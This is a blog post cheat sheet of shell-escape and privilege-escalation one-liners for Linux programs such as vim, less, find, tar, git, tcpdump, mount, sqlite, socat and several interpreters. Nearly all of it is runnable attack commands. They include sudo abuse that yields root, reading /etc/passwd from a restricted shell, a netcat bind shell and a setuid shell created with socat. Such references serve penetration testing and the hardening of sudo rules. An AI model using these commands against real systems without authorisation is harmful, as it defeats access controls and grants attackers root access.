Skip to main content

bartunek.me

Escape to shell

This post is a short reference of techniques to spawn a shell from regular Linux / Unix programs or scripting language interpreters. Cheat-sheet is useful for getting out of limited environments or privilege escalation via misconfigured sudo profiles.

Please note that not all techniques presented here will work in every restricted environment, so it is up to you to find which methods will suit you best, depending on the situation.

It’s not intended to be a definite guide for escaping to shell techniques, slightly a basic cheat sheet.

Vim

:sh
:!/bin/bash

rVim

rvim --cmd ":py import os;os.system('/bin/bash')"

or

:python import os; os.system("/bin/bash")

nano / pico

  1. Run nano with bash as spellchecking program: nano -s /bin/bash
  2. Type:
/bin/bash
  1. Press Ctrl-T to run spellchecking

man, less, more

!shell
!/bin/bash

Note: for more you may need to reduce the number of lines in the terminal:

stty rows 3 cols 80

Awk

awk 'BEGIN {system("/bin/sh")}'

find

find /dev/zero -exec /bin/bash \;

rbash

escape rbash

bash < 4.4

BASH_CMDS[poop]=/bin/bash;poop

file reading:

$(< ../../etc/passwd)

or

mapfile ARRAY < ../../etc/passwd ARRAY
echo $ARRAY

do not load profile files when connecting via ssh:

ssh user@IP-ADDRESS -t "bash --noprofile"

limited shell lshell

python
echo os.system('/bin/bash')

MySQL client

mysql>\! bash
bash>

gdb

(gdb) ! id
(gdb) ! /bin/bash
(gdb) shell id

Netcat, ncat

nc -vlp PORT -e /bin/bash
nc HOST PORT

Nmap

nmap --script <(echo 'os.execute("/bin/sh")')

script from file:

nmap --script /tmp/script.nse

script.nse:

os.execute("id")

obsolete, removed in Nmap 5.35DC1 [2010-07-16]

sudo nmap --interactive
Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h for help
nmap> !sh

tcpdump

cat <<EOF>shell.sh
#!/bin/bash
/bin/bash
EOF
chmod +x shell.sh
sudo tcpdump -G 1 -z ./shell.sh -w 1.pcap

Execute script while reading from a file, contents of test.sh:

#!/bin/sh

id

create test.pcap file larger that 1MB, run tcpdump:

tcpdump -r /tmp/test.pcap -C 1 -w /dev/null -z /tmp/test.sh

tar

tar c --checkpoint=1 --checkpoint-action=exec=bash a a.tar

zip

zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

strace

strace -o/dev/null /bin/bash

except

except spawn sh then sh

SCP

cat >/tmp/shell.sh <<EOF
/bin/bash >&2 0>&2
EOF
chmod +x shell.sh
scp -S /tmp/shell.sh x y:

ssh

ssh -o ProxyCommand=/tmp/shell.sh localhost

git

git -c core.pager=/tmp/shell.sh --paginate help

or

git commit

and escape from $EDITOR

or using rebase

git rebase --exec "COMMAND" master

shorter:

git rebase -ix "COMMAND" master

script

script -c /bin/bash /tmp/a

mount

user@host:~$ sudo mount -o bind /bin/bash /bin/mount
user@host:~$ sudo mount
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)

mail

GNU version only:

sudo mail --exec='!/bin/sh'

other:

sudo -u USER mail -u USER -s xxxx aaa
~!id

sqlite

sqlite3 /dev/null '.shell /bin/sh'

by loading an extension:

#include <unistd.h>
void main() 
{ 
    execl("/bin/sh", NULL);
}

compile as .so:

gcc -g -fPIC -shared /tmp/shell.c -o /tmp/shell.so

load extension in sqlite shell:

sqlite> .load /tmp/shell.so main

socat

socat file:/bin/sh file:sh,create,perm=4755 > /dev/null
./sh

or

socat exec:/bin/sh -

apt-get / apt / aptitude

a:

apt-get update -o APT::Update::Pre-Invoke::="/bin/bash -i"

b:

sudo apt-get changelog apt
!/bin/sh

openssl

read file:

openssl enc -in test.txt

write a file:

LFILE=file_to_write
echo DATA | openssl enc -out "$LFILE"
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
openssl enc -in "$TF" -out "$LFILE"

Python

>>> import pty
>>> pty.spawn('/bin/bash')

or

>>> import os
>>> os.system('ls')
>>> os.system('/bin/bash')

Ruby

ruby -e 'exec "/bin/sh"'

or

irb
irb(main):001:0> exec '/bin/bash'

Perl

perl -e 'exec "/bin/sh";'

Lua

os.execute('/bin/sh')

or from shell:

lua -e 'os.execute("/bin/sh")'